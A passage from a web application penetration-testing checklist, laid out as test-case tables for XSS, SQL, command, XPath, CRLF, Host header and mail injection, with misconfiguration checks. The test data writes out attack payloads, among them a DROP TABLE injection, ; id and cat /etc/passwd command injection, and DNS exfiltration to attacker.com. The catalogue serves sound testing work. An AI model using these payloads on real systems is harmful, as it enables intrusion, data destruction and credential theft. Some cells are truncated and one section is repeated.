| **Evidence** | Example findings: - URL used: https://target.com/#role=admin - In JavaScript: document.cookie = "role=" + location.hash.split('=')[1]; - After visit: cookie role=admin set, enabling privilege escalation. |
| **Mitigation Recommendation** | - Never trust client-side input for cookie values.  - Avoid writing sensitive cookies (like sessionid, authToken, role) via JavaScript.  - Set sensitive cookies via HTTP response headers with HttpOnly and Secure attributes.  - Validate and sanitize all client-side inputs before processing.  - Use textContent or setAttribute APIs instead of string concatenation when manipulating DOM or cookies.  - Implement a strict Content Security Policy (CSP). |

#### HTML5 Storage Manipulation

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application securely uses client-side storage mechanisms like localStorage, sessionStorage, and IndexedDB, and confirm that sensitive data isn't stored insecurely or manipulated to alter client-side behavior. |
| **Pre-conditions** | - Application accessible via browser with DevTools  - Familiarity with JavaScript client-side code  - Ability to inspect and modify storage entries via browser console or DevTools  - Test account credentials (if applicable) |
| **Test Data** | - Malicious storage values:  • role=admin  • token=malicious\_token  • <img src=x onerror=alert(1)> - Tools:  • Browser DevTools (Application tab)  • Burp Suite Logger/Intercept for page scripts |
| **Test Steps** | 1. Open browser DevTools → Application tab → Storage → localStorage/sessionStorage. 2. Review stored key-value pairs for sensitive data (auth tokens, roles, user info). 3. Identify how stored values are used in client-side logic (inspect JavaScript code via Sources tab). 4. Modify storage values manually (e.g., change role=user to role=admin). 5. Refresh the page and observe whether the application behavior changes (privilege escalation, bypasses, modified UI). 6. Inject malicious values (like JavaScript payloads) to test for stored XSS risks.   If the values are only stored and not reflected or processed then the alert is not vulnerable |
| **Expected Result** | - No sensitive data (session tokens, roles, credentials) stored in localStorage/sessionStorage.  - Changing storage values should not affect security-critical operations (like access control) without server validation.  - Application should validate all data read from storage before use. |
| **Actual Result** | (To be filled after assessment — e.g., role=admin in localStorage caused access to admin-only functionality without server-side check.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if attacker can manipulate application behavior, escalate privileges, or hijack sessions via storage tampering. Medium if non-sensitive data is affected or exposed. |
| **Evidence** | Example findings:  - In localStorage: role=admin  - After modifying and refreshing, admin features appeared without re-authentication.  - Sensitive auth token (authToken=xyz123) stored insecurely in sessionStorage. |
| **Mitigation Recommendation** | - Avoid storing sensitive data (auth tokens, session IDs, roles) in localStorage or sessionStorage.  - Store security-critical values in HttpOnly cookies set by the server. - Always validate data retrieved from client-side storage on the server before use.  - Implement strong Content Security Policy (CSP) to prevent storage-based stored XSS.  - Regularly audit storage use in client-side code and remove unnecessary data caching. |

#### Verify for XSS injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application properly sanitizes and encodes all user  -supplied input and output to prevent execution of malicious JavaScript code through reflected, stored, or DOM-based Cross-Site Scripting (XSS) attacks. |
| **Pre-conditions** | - Web application in test/staging environment  - Burp Suite Community/Pro, browser dev tools, or XSS testing browser plugins (e.g., XSStrike, DOM Invader)  - User account (optional)- Access to input fields, forms, query parameters, or APIs |
| **Test Data** | - XSS payloads such as:  • <script>alert(1)</script>  • "><img src=x onerror=alert(1)>  • <svg/onload=alert(1)>  • <iframe src="javascript:alert(1)">  • javascript:alert(1)  • <body onload=alert(1)>  • Obfuscated or encoded versions (e.g., hex, base64, HTML entities) |
| **Test Steps** | 1. Identify all user input vectors (GET/POST parameters, form fields, search boxes, profile settings, etc.) 2. Submit common XSS payloads and inspect reflected output in response or rendered page. 3. Check if input appears unescaped in HTML body, attributes, script contexts, or in DOM. 4. For stored XSS, input payload into a field (e.g., comment, bio) and visit affected page to check execution. 5. For DOM-based XSS, analyze JavaScript that dynamically inserts or processes user input (e.g., via location.hash, innerHTML, etc.). 6. Use browser dev tools to inspect response body and rendered HTML. 7. Try event-based triggers (onerror, onload, onclick) in different HTML contexts.   8. If WAF or filters are in place, attempt bypass using obfuscation or alternate encodings. |
| **Expected Result** | - All user-supplied input is properly escaped or encoded in the output context.  - No execution of arbitrary scripts should occur.  - User-supplied input should never be trusted in script, HTML, or URL contexts without proper sanitization. |
| **Actual Result** | (To be filled after assessment — e.g., <script>alert(1)</script> executes in the search results page when injected via ?q=payload.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if stored XSS affects authenticated users or admins.  - **High** if reflected or DOM-based XSS affects public pages.  - **Medium** if self-XSS is possible but with limited impact. |
| **Evidence** | Example:  **Request:**<br>GET /search?q=<script>alert(1)</script> HTTP/1.1<br>Host: vulnerable-site.com<br>  **Response:**html<br><div>Search results for: <script>alert(1)</script></div><br>→ JavaScript alert pops when page is loaded. |
| **Mitigation Recommendation** | - Use proper output encoding for every output context (HTML, JS, CSS, URL).  - Use secure frameworks with built-in XSS protections (e.g., React, Angular with innerHTML restrictions).  - Sanitize user input using libraries like DOMPurify (for HTML), OWASP Java Encoder (for Java).  - Avoid inserting untrusted data into DOM via innerHTML, document.write, or dynamic JS injection.  - Apply Content Security Policy (CSP) headers to reduce XSS impact.  - Validate input where appropriate, and log suspicious payloads.  - Perform regular manual and automated testing for XSS. |

#### Verify for Code Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application does not allow untrusted user input to be interpreted or executed as code by the application server, command-line shell, template engine, or interpreter (e.g., Python, PHP, Bash). |
| **Pre-conditions** | - Application running in test/staging environment- Burp Suite Community/Pro or equivalent proxy  - Ability to identify input points (form fields, URL parameters, headers, file uploads)  - Access to server-side behavior via response or logs (if in-scope)  - Low-privileged test account (optional) |
| **Test Data** | - Malicious payloads targeting system calls, eval, template engines, etc.Examples:  • ; whoami  • $(whoami)  • ` |
| **Test Steps** | 1. Identify application input points: form fields, headers, query strings, JSON bodies. 2. Insert payloads designed to test code execution (see examples). 3. Observe responses: look for output from system commands, calculation results, or error messages. 4. Check for behavioral indicators: response delay, internal server error (500), unexpected output. 5. Try template injection payloads if the application uses template engines (Jinja2, Velocity, Twig, etc.). 6. For file upload points, try uploading scripts with command execution payloads (e.g., .php, .jsp).   7. Test headers like User-Agent or X-Forwarded-For if logs or scripts process them. |
| **Expected Result** | - The server must not interpret or execute user-supplied input as code.  - Special characters should be escaped or rejected.  - Template engines should use safe rendering modes (sandboxed). |
| **Actual Result** | (To be filled after assessment — e.g., Payload ; id returned UID output in HTTP response.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if remote code execution (RCE) is achieved.  - **High** if arbitrary command output can be injected.  - **Medium** if template or error-based injection is confirmed without execution. |
| **Evidence** | Example:  **Request:**http<br>GET /profile?name=John;id HTTP/1.1<br>Host: vulnerable-app.com<br>  **Response:**html<br>Hello John<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>→ Output confirms command was executed on the server. |
| **Mitigation Recommendation** | - Never directly pass user input into code execution functions like eval(), exec(), system(), popen(), or similar.  - Use parameterized APIs or language-safe methods to handle commands.  - Implement input validation, allow-listing, and output encoding where needed.  - Escape all dangerous characters (e.g., ;, ` |

#### Verify for SQL Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application does not allow user  -supplied input to alter backend SQL queries, and that all dynamic SQL operations are properly parameterized or escaped to prevent unauthorized data access or manipulation. |
| **Pre-conditions** | - Application in test/staging environment  - Burp Suite Community/Pro or equivalent proxy- Database-driven application with form inputs, search fields, filters, or query parameters- Low-privileged user account (optional) |
| **Test Data** | - SQL Injection payloads such as:  • ' OR '1'='1  • ' UNION SELECT NULL, NULL--  • ' AND 1=2 --  • 1' ORDER BY 3 --  • admin' --  • ' OR sleep(5)-- (for time-based)  • '; DROP TABLE users--  • Encoded/obfuscated variants (URL encoded, base64, hex) |
| **Test Steps** | 1. Identify user input points: login forms, search boxes, filters, query strings, hidden fields, HTTP headers, etc. 2. Inject SQL payloads in parameters to test if they are directly concatenated into SQL queries. 3. Observe responses: look for error messages, changes in query behavior, or unexpected data returned. 4. For time-based blind SQLi, measure delays using payloads like sleep(5). 5. For boolean-based blind SQLi, compare responses between true/false conditions. 6. Try UNION-based SQLi to extract additional data or columns. 7. Use ORDER BY to test the number of columns in a SELECT query.   8. Attempt login bypass via ' OR '1'='1 in username or password fields. |
| **Expected Result** | - User input must be handled with parameterized queries or ORM (Object Relational Mapping).- SQL syntax errors, behavior changes, or unauthorized data access must not occur.- Application should respond with generic error messages, not SQL-specific errors. |
| **Actual Result** | (To be filled after assessment — e.g., Login form accepted ' OR '1'='1 and authenticated user without password.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if authentication bypass or full database extraction is possible.- **High** if arbitrary query manipulation or data read/write is confirmed.- **Medium** if error-based SQLi with limited exposure. |
| **Evidence** | Example:**Request:**http<br>POST /login HTTP/1.1<br>Host: vulnerable-app.com<br>Content-Type: application/x-www-form-urlencoded<br><br>username=admin'--&password=anything<br>**Response:**<br>HTTP/1.1 302 Found<br>Location: /dashboard<br>→ Login succeeded without a valid password, confirming SQL injection. |
| **Mitigation Recommendation** | - Use **parameterized queries** (e.g., PreparedStatement, bindParam, etc.) or ORM frameworks that abstract query construction.- Never concatenate user input directly into SQL statements.- Enforce input validation with allowlists (e.g., integers, specific enums).- Apply **least privilege** to database users (e.g., no DROP, GRANT).- Hide SQL error messages from user-facing responses.- Use **Web Application Firewalls (WAFs)** and **input sanitization libraries** to add layered defenses.- Regularly scan and pentest application inputs for SQL injection risks. |

#### Verify for Command Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application allows user input to be interpreted and executed by the underlying operating system as shell commands, due to insecure use of system functions (e.g., exec(), system(), popen(), shell\_exec(), Runtime.exec()). |
| **Pre-conditions** | - Web application running in test or staging environment  - Burp Suite Community/Pro or equivalent proxy  - Access to input fields or parameters that may interact with system-level commands (e.g., ping, DNS lookup, file management)  - Low-privileged user account (optional) |
| **Test Data** | - Command injection payloads:  • ; id  • && whoami  • ` |
| **Test Steps** | 1. Identify any functionality that might involve system commands (e.g., ping tools, PDF converters, backup utilities, archive extractors). 2. Inject payloads into input fields or request parameters and observe behavior. 3. For blind command injection, use time-based payloads (e.g., ; sleep 5) and measure delay. 4. Use out-of-band payloads (e.g., nslookup attacker.com) if DNS exfiltration is permitted in-scope. 5. Test headers (User-Agent, Referer) and hidden fields that might be logged or processed.   6. Observe differences in responses: unusual output, execution results, internal server errors (500), or measurable response delays. |
| **Expected Result** | - User input should never be interpreted as shell commands.  - Application must sanitize special characters (;, ` |
| **Actual Result** | (To be filled after assessment — e.g., Parameter host=127.0.0.1; whoami caused the server to respond with OS-level user output.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if arbitrary command execution (RCE) is confirmed.  - **High** if partial command execution or information disclosure occurs (e.g., user context, system info). |
| **Evidence** | Example:  **Request:**http<br>GET /ping?host=127.0.0.1;id HTTP/1.1<br>Host: vulnerable-app.com<br>  **Response:**html<br>PING 127.0.0.1<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>→ Command id executed and output included in HTTP response, confirming command injection vulnerability. |
| **Mitigation Recommendation** | - Never pass user input directly into system-level commands or interpreters.  - Use safe APIs or built-in language functions that do not invoke the shell (e.g., subprocess.run() with argument arrays in Python).  - If command-line interaction is unavoidable, validate and sanitize all input using strict allowlists.  - Apply input encoding or neutralization where needed.  - Run application services with **least privilege** (e.g., no root access).  - Implement web application firewalls (WAFs) to block suspicious payloads.  - Regularly test for injection vectors and review code using static analysis tools. |

#### Verify for XPath Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application improperly uses unsanitized user input in XPath expressions, allowing attackers to manipulate XML queries and potentially bypass authentication, extract unauthorized XML content, or alter application logic. |
| **Pre-conditions** | - Application interacts with an XML data source (e.g., XML-based auth, config, user records)  - Burp Suite or equivalent HTTP proxy- Known input fields or parameters used in XML lookups (e.g., login forms, search filters)  - Test/staging environment |
| **Test Data** | - XPath Injection payloads:  • ' or '1'='1  • admin' or '1'='1  • x' or name()='admin' or '1'='1  • `'] |
| **Test Steps** | 1. Identify input fields or parameters that are likely used in XML-based authentication or queries (e.g., login forms, search inputs). 2. Submit common XPath injection payloads. 3. Observe application behavior for bypass (e.g., login success without valid credentials). 4. Test blind XPath injection with true/false logic to infer query behavior. 5. If XML error messages are returned, analyze for XPath syntax errors. 6. Attempt enumeration by using count() or name() functions in payloads.   7. Use error-based or logic-based techniques to determine XML structure or leak content. |
| **Expected Result** | - The application must not interpret user input as part of an XPath expression.  - Queries should return only the intended XML nodes based on validated and sanitized input.  - Authentication or data access should not be bypassable with logic-based injections. |
| **Actual Result** | (To be filled after assessment — e.g., Login succeeded using payload ' or '1'='1, confirming authentication bypass.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if authentication or access control is bypassed.  - **High** if XML content can be exfiltrated or parsed.  - **Medium** if error messages disclose XML schema or structure. |
| **Evidence** | Example:  **Request:**http<br>POST /login HTTP/1.1<br>Host: vulnerable-app.com<br>Content-Type: application/x-www-form-urlencoded<br><br>username=' or '1'='1&password=abc<br>  **Response:**<br>HTTP/1.1 302 Found<br>Location: /dashboard<br>→ Login successful without valid credentials. |
| **Mitigation Recommendation** | - Avoid building XPath queries dynamically using raw user input.  - Use parameterized XPath query mechanisms or frameworks (e.g., XPathVariableResolver in Java).  - Sanitize input by escaping single quotes (') and other control characters used in XPath syntax.  - Apply input validation with allowlists (e.g., alphanumeric only for usernames).  - Disable verbose XML errors and avoid disclosing XML structure.- Consider switching to structured database access with hardened query layers (ORMs).  - Implement multi-factor authentication and rate-limiting to reduce exploitation impact. |

#### Verify for CRLF Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application properly validates and sanitizes input used in HTTP headers or redirects, and that it does not allow carriage return (\r) and line feed (\n) characters to break header structure or inject new headers or responses. |
| **Pre-conditions** | - Application in test/staging environment- Burp Suite Community/Pro or equivalent proxy  - Functionality that uses user input in headers (e.g., redirect URLs, Location, Set-Cookie, custom response headers)  - Familiarity with HTTP headers and browser behavior |
| **Test Data** | - CRLF payloads:  • %0d%0aInjected-Header: test  • %0d%0aSet-Cookie: injected=true  • %0d%0aContent-Length: 0%0d%0a%0d%0a<script>alert(1)</script>  • \r\nLocation: <https://evil.com>  • %0d%0a<script>alert('CRLF')</script>  • Variants of encoded or raw \r\n characters in parameters |
| **Test Steps** | 1. Identify any endpoints where user input is reflected in headers — typically redirects (Location:), custom headers, error messages, or file download names. 2. Inject CRLF payloads into URL parameters, query strings, cookies, or request headers. 3. Observe the server response headers using Burp Suite or browser dev tools. 4. Check if any new headers are injected after the input (e.g., Injected-Header: or Set-Cookie:). 5. For HTTP response splitting, attempt to inject CRLF followed by full HTTP response body (test for header/body break).   6. Observe browser behavior for unexpected redirects, script execution, or duplicate headers. |
| **Expected Result** | - Input should be sanitized to remove CR (\r) and LF (\n) characters.  - No injected headers or altered response headers should appear.  - Application should reject or encode dangerous characters when building responses. |
| **Actual Result** | (To be filled after assessment — e.g., Location header was broken and injected Set-Cookie appeared in response.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **High** if response splitting or header injection leads to redirect manipulation, cookie tampering, or client-side script injection.  - **Medium** if new headers are injected without direct control over content.  - **Low** if header formatting is simply broken without exploitation. |
| **Evidence** | Example:  **Request:**http<br>GET /download?filename=test%0d%0aSet-Cookie:%20crlf=1 HTTP/1.1<br>Host: vulnerable-app.com<br>  **Response headers:**<br>HTTP/1.1 200 OK<br>Content-Disposition: attachment; filename=test<br>Set-Cookie: crlf=1<br>→ Set-Cookie header was injected, confirming CRLF injection. |
| **Mitigation Recommendation** | - Sanitize user input by removing or encoding CR (\r, %0d) and LF (\n, %0a) characters.  - Use secure APIs or libraries that auto-sanitize header values.  - Never construct HTTP headers manually with user input.  - Apply allowlisting and strict validation for parameters used in redirects or headers.  - Implement security headers like X-Content-Type-Options: nosniff and Content-Security-Policy to reduce impact.  - Perform header injection tests regularly during code reviews and pentests. |

#### Verify for Host Header Injection

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application improperly trusts or uses the Host header from client requests without validation, potentially leading to header poisoning, password reset URL manipulation, SSRF, cache poisoning, or redirect issues. |
| **Pre-conditions** | - Application in test or staging environment  - Burp Suite or equivalent proxy  - Application uses absolute URLs (e.g., for redirects, links in emails, canonical tags, password resets)  - Functionalities like email confirmation, file downloads, redirects, or content rendering based on host |
| **Test Data** | - Host header payloads:  • Host: evil.com  • Host: attacker.example.com  • Host: vulnerable-site.com\r\nX-Forwarded-Host: evil.com  • X-Host: evil.com (non-standard headers)  • Test for internal domains: Host: localhost, Host: 127.0.0.1 |
| **Test Steps** | 1. Intercept a valid request using Burp Suite. 2. Modify the Host header in the request to an attacker-controlled domain (e.g., Host: attacker.com). 3. Send the request and observe the response:— Does the application reflect the host in any of the following?   • Redirect URLs  • Password reset links  • Canonical tags or meta headers  • Email content (e.g., confirmation links)   1. If the app uses proxies or load balancers, test alternative headers like X-Forwarded-Host, X-Host, or X-Forwarded-Server. 2. Analyze password reset or email verification flows — inject a modified host header and trigger the email; inspect if the malicious host appears in the reset link.   6. Check for caching-related behavior using a poisoned host header. |
| **Expected Result** | - The application should use a **server-side trusted host value**, not client  -supplied Host headers.  - Host-based logic (e.g., URL generation) should not rely on user input.  - Generated links in responses/emails must use hardcoded or server-defined hostnames. |
| **Actual Result** | (To be filled after assessment — e.g., Password reset email contained attacker-supplied domain in reset link.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **High** if password reset, verification, or email links can be poisoned.  - **Medium** if reflected host header appears in HTML (e.g., canonical tags).  - **Low** if host header is reflected but not actionable or not exploitable. |
| **Evidence** | Example:  **Request:**http<br>GET /reset-password?user=test HTTP/1.1<br>Host: attacker.com<br>  **Response:**html<br>To reset your password, click here: http://attacker.com/reset?token=abc123<br>→ Application used attacker-supplied host in a reset link, allowing phishing and credential theft. |
| **Mitigation Recommendation** | - Do not trust or use the Host header from client requests when generating links, redirects, or logic decisions.  - Use hardcoded or server-side trusted hostname configurations.  - Implement strict validation of the Host header (e.g., allowlist of expected hostnames).  - In multi-tenant apps, validate host against authorized tenant domains.  - Disable proxy headers like X-Forwarded-Host unless absolutely required and trusted.  - Avoid reflecting unsanitized host values in HTML, emails, or redirects.  - Use absolute URLs based on trusted configuration settings, not request headers. |

#### Verify for mail command Injection attacks

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application securely handles user input in mail functions and headers, preventing injection into command-line mail utilities (e.g., /usr/bin/mail) or SMTP headers, which could lead to command execution, header spoofing, spamming, or email manipulation. |
| **Pre-conditions** | - Application has email-sending functionality (e.g., contact form, registration, password reset)  - Burp Suite or equivalent proxy  - Email headers are built using user input (e.g., To, From, Subject, Message)  - The application uses mail utilities or unprotected libraries (e.g., PHP's mail()) |
| **Test Data** | - Injection payloads:  • Valid email plus newline: victim@example.com%0AInjected: MaliciousHeader  • Command injection (if using shell): attacker@example.com; cat /etc/passwd  • Email header injection: %0aBcc: [spammer@example.com](mailto:spammer@example.com)  • Envelope injection: "attacker@evil.com\nCc: [another@evil.com"](mailto:another@evil.com\")  • PHP mail bypass: "\r\nTo: victim@example.com" |
| **Test Steps** | 1. Identify email-related inputs: contact forms, registration emails, feedback, password resets. 2. Inject newline characters (%0a, %0d, %0d%0a) into email fields like **To**, **From**, **Subject**, and **Message**. 3. Observe the raw email received (if possible), looking for additional headers injected. 4. If the server uses /usr/bin/mail, sendmail, or similar, try command injection payloads (e.g., ; id). 5. Use a test email server (e.g., MailHog or smtp4dev) to inspect full headers and payload.   6. Analyze for extra recipients (Bcc/CC), forged headers, or unintended execution of commands. |
| **Expected Result** | - User input must be sanitized before being included in mail headers or command arguments.  - No newline injection, header injection, or command execution should occur.  - Emails must only contain intended headers and no attacker  -controlled data outside expected fields. |
| **Actual Result** | (To be filled after assessment — e.g., Email received contains additional injected Bcc: header; or mail command output includes contents of /etc/passwd.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if mail command execution is achieved (RCE).- **High** if email spoofing or header injection (Bcc, Subject, Reply-To) is possible.  - **Medium** if unintended CC or additional headers are present. |
| **Evidence** | Example:  **Request:**http<br>POST /contact HTTP/1.1<br>Host: vulnerable-app.com<br>Content-Type: [application/x-www-form-urlencoded<br><br>email=attacker@example.com%0ABcc:%20victim@example.com&message=Hello<br>](mailto:application/x-www-form-urlencoded<br><br>email=attacker@example.com%0ABcc:%20victim@example.com&message=Hello<br>)  **Result:**Email was sent to [attacker@example.com](mailto:attacker@example.com) **and** [victim@example.com](mailto:victim@example.com) (BCC injected). |
| **Mitigation Recommendation** | - Sanitize and validate all user-supplied input before including it in email headers or shell commands.  - Strip carriage return (\r) and newline (\n) characters from email fields.  - Use email libraries (e.g., PHPMailer, Python’s smtplib, or nodemailer) that safely handle headers and avoid shell execution.  - Avoid using insecure functions like PHP’s mail() with unsanitized input.  - Log all email headers before sending for auditing purposes.  - Apply security controls like rate-limiting and CAPTCHA to prevent abuse of email forms. |

Verify for insecure Design

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application follows secure-by-design principles, ensuring that features, flows, and business logic enforce proper security controls such as access control, rate limiting, encryption, session management, and validation, even before implementation bugs are considered. |
| **Pre-conditions** | - Application in test/staging environment- Full access to test user roles  - Burp Suite or equivalent proxy- Application business logic documentation (if available)  - Understanding of authorization flows, payment flows, registration logic, etc. |
| **Test Data** | - Valid and invalid inputs for all user roles- Malicious test flows (e.g., forced browsing, excessive attempts)  - Misuse scenarios (e.g., skipping payment, manipulating tokens, tampering with business logic) |
| **Test Steps** | 1. **Analyze feature designs** to determine if critical security controls are present for authentication, authorization, data flow, rate limiting, error handling, encryption, etc. 2. Review common flows such as registration, checkout, and file upload — look for **missing controls** like input validation, CAPTCHA, or step verification. 3. Attempt **business logic abuse** (e.g., change product quantity to negative, skip payment step, reuse password reset links, etc.). 4. Test for **missing rate limiting or throttling** by sending automated bursts of requests (login, API queries, password reset).   5. Evaluate **session management design**: Are tokens revocable? Are sessions properly scoped?6. Test for **missing security headers**, lack of encryption at rest, or insecure default configurations. |
| **Expected Result** | - Secure design principles are enforced across all application areas.  - No sensitive actions or features should be accessible without proper controls (auth, validation, authorization).  - Workflows should resist misuse or tampering.  - Rate limiting, encryption, session security, and error handling should be implemented and effective. |
| **Actual Result** | (To be filled after assessment — e.g., No rate-limiting implemented for login attempts; password reset link does not expire or lacks token binding; unauthenticated access allowed to user invoices.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if core functionality lacks design-level controls (e.g., unauthenticated access, open business logic flaws).  - **High** if a sensitive workflow lacks rate limiting, session scoping, or proper control flow.  - **Medium** if design flaws reduce resilience but don’t lead to full compromise. |
| **Evidence** | Example findings:  - No validation on order total; attacker manipulated item price via hidden form field.  - No throttling on /login; brute-force attack possible.  - Password reset link usable multiple times without expiration.  - Session tokens not invalidated on logout.  - JWT token is not signed or validated client-side. |
| **Mitigation Recommendation** | - Integrate **secure design principles early in SDLC**, including threat modeling and security architecture reviews.  - Implement **strong business logic validation** on the server side.  - Enforce **rate limiting, brute-force protections**, and step-by-step verification for sensitive workflows.  - Apply **least privilege** and RBAC enforcement across modules.  - Ensure **strong session management** (e.g., invalidation, timeout, single-use tokens).  - Enforce **encryption at rest** and in transit for sensitive data.  - Regularly conduct **architecture reviews**, business logic abuse testing, and adversarial threat modeling. |

### Insecure Design

#### Verify for Insecure Design

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application follows secure-by-design principles, ensuring that features, flows, and business logic enforce proper security controls such as access control, rate limiting, encryption, session management, and validation, even before implementation bugs are considered. |
| **Pre-conditions** | - Application in test/staging environment- Full access to test user roles  - Burp Suite or equivalent proxy- Application business logic documentation (if available)  - Understanding of authorization flows, payment flows, registration logic, etc. |
| **Test Data** | - Valid and invalid inputs for all user roles  - Malicious test flows (e.g., forced browsing, excessive attempts)  - Misuse scenarios (e.g., skipping payment, manipulating tokens, tampering with business logic) |
| **Test Steps** | 1. **Analyze feature designs** to determine if critical security controls are present for authentication, authorization, data flow, rate limiting, error handling, encryption, etc. 2. Review common flows such as registration, checkout, and file upload — look for **missing controls** like input validation, CAPTCHA, or step verification. 3. Attempt **business logic abuse** (e.g., change product quantity to negative, skip payment step, reuse password reset links, etc.). 4. Test for **missing rate limiting or throttling** by sending automated bursts of requests (login, API queries, password reset). 5. Evaluate **session management design**: Are tokens revocable? Are sessions properly scoped?   6. Test for **missing security headers**, lack of encryption at rest, or insecure default configurations. |
| **Expected Result** | - Secure design principles are enforced across all application areas.  - No sensitive actions or features should be accessible without proper controls (auth, validation, authorization).  - Workflows should resist misuse or tampering.  - Rate limiting, encryption, session security, and error handling should be implemented and effective. |
| **Actual Result** | (To be filled after assessment — e.g., No rate-limiting implemented for login attempts; password reset link does not expire or lacks token binding; unauthenticated access allowed to user invoices.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if core functionality lacks design-level controls (e.g., unauthenticated access, open business logic flaws).  - **High** if a sensitive workflow lacks rate limiting, session scoping, or proper control flow.  - **Medium** if design flaws reduce resilience but don’t lead to full compromise. |
| **Evidence** | Example findings:  - No validation on order total; attacker manipulated item price via hidden form field.  - No throttling on /login; brute-force attack possible.  - Password reset link usable multiple times without expiration.  - Session tokens not invalidated on logout.  - JWT token is not signed or validated client-side. |
| **Mitigation Recommendation** | - Integrate **secure design principles early in SDLC**, including threat modeling and security architecture reviews.  - Implement **strong business logic validation** on the server side.  - Enforce **rate limiting, brute-force protections**, and step-by-step verification for sensitive workflows.  - Apply **least privilege** and RBAC enforcement across modules.  - Ensure **strong session management** (e.g., invalidation, timeout, single-use tokens).  - Enforce **encryption at rest** and in transit for sensitive data.  - Regularly conduct **architecture reviews**, business logic abuse testing, and adversarial threat modeling. |

### Security Mis-configuration

#### Unnecessary Ports Pages Accounts and Privileges

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application and its underlying infrastructure do not expose unnecessary network ports, administrative pages, default/test accounts, or overly privileged roles that expand the attack surface or allow unauthorized access or lateral movement. |
| **Pre-conditions** | - Application running in a test/staging environment- Access to external network scanning tools (e.g., Nmap, RustScan)  - Authenticated access to different user roles (if applicable)  - Burp Suite or equivalent proxy for internal pages- OSINT tools (e.g., dirsearch, ffuf, subfinder, etc.) |
| **Test Data** | - Target host/IP/domain- User credentials (low-privileged and admin)- Port scan data, page discovery results, user enumeration list |
| **Test Steps** | 1. **Unnecessary Ports**- Use Nmap or RustScan to scan all 65535 TCP ports: nmap -p- -sV target.com- Identify open ports that aren't required for application operation (e.g., FTP, Telnet, RDP, SMB). 2. **Unnecessary Pages**- Perform directory fuzzing using tools like ffuf, gobuster, or Burp: ffuf -u https://target.com/FUZZ -w /wordlists/dir.txt- Look for:   • Backup files (e.g., /index.bak, /admin.old)  • Default admin panels (e.g., /phpmyadmin, /admin/, /debug/, /test/)  • Framework artifacts (e.g., /graphql, /.git, /config.js)   1. **Unnecessary Accounts**   - Attempt login with common default usernames (e.g., admin:admin, test:test, guest:guest).  - Enumerate users via forgotten password, login errors, or /api/users endpoints.  - Check if non-used accounts are still active (e.g., qa, test1).   1. **Excessive Privileges**   - Use a low-privileged user to:  • Access admin pages (e.g., /admin/users)  • Perform sensitive API actions (e.g., POST to /delete, /reset-password)  • Modify system settings or other users' data  - If possible, inspect RBAC logic or hidden roles via session tokens (e.g., role=admin) |
| **Expected Result** | - Only required ports are exposed (e.g., 80/443).  - No test/dev/debug pages accessible in production.  - Default/test/unused accounts should not be active or accessible.  - Low-privileged users must not have access to admin pages or sensitive functions.  - Application should follow the principle of **least privilege** at all levels. |
| **Actual Result** | (To be filled after assessment — e.g., Port 22 open to the internet; /test/ and /phpmyadmin/ accessible; test:test account valid; low user accessed /admin/users.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if root/admin access is gained through exposed services or accounts.  - **High** if sensitive panels or default accounts are accessible.  - **Medium** if unnecessary ports/pages exist but are not directly exploitable.  - **Low** if minor privilege creep or legacy features are found. |
| **Evidence** | Example:  **Ports:**bash<br>nmap -p- -sV target.com<br>22/tcp open ssh OpenSSH 7.4<br>3306/tcp open mysql MySQL 5.7.33<br>→ SSH and MySQL open to internet (unnecessary for web users)  .**Pages:**→ https://target.com/test/ returns debug output.→ https://target.com/phpmyadmin/ publicly accessible.  **Accounts:**→ test:test account successfully logged in.  **Privileges:**→ Low-privileged user accessed POST /admin/delete-user. |
| **Mitigation Recommendation** | - Restrict exposed ports at the firewall/gateway level (only expose ports required for public access).  - Remove or restrict access to test, debug, or default admin pages.  - Disable or delete default and unused user accounts.  - Implement proper RBAC (Role-Based Access Control) and enforce **least privilege** for all users.  - Harden application and server configurations before going live.  - Monitor access logs and implement WAF/IDS to detect unauthorized access attempts.- Include secure configuration reviews and architecture assessments in the SDLC. |

#### Content Security Policy : allow-listed Script Resources

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application’s Content Security Policy correctly enforces an allowlist for script resources, ensuring that only trusted domains and inline hashes/nonces are permitted to execute JavaScript code. |
| **Pre-conditions** | - Application accessible via browser and proxy (Burp Suite, ZAP)  - Ability to inspect HTTP response headers and application source code - Pages with client-side JavaScript execution |
| **Test Data** | - Malicious script payloads: <script>alert(1)</script>  - Unauthorized external script URLs (e.g., https://evil.com/script.js) - Tools: Browser DevTools, Burp Suite |
| **Test Steps** | 1. Inspect HTTP response headers for Content-Security-Policy. 2. Identify the script-src directive. 3. Check if it only allows trusted domains, hashes, or nonces. 4. Attempt to inject inline scripts or load scripts from unauthorized domains.   5. Monitor browser console for CSP violations and execution behavior. |
| **Expected Result** | - Content-Security-Policy header present.  - script-src should restrict scripts to trusted sources only.  - Unauthorized inline or external scripts must be blocked. |
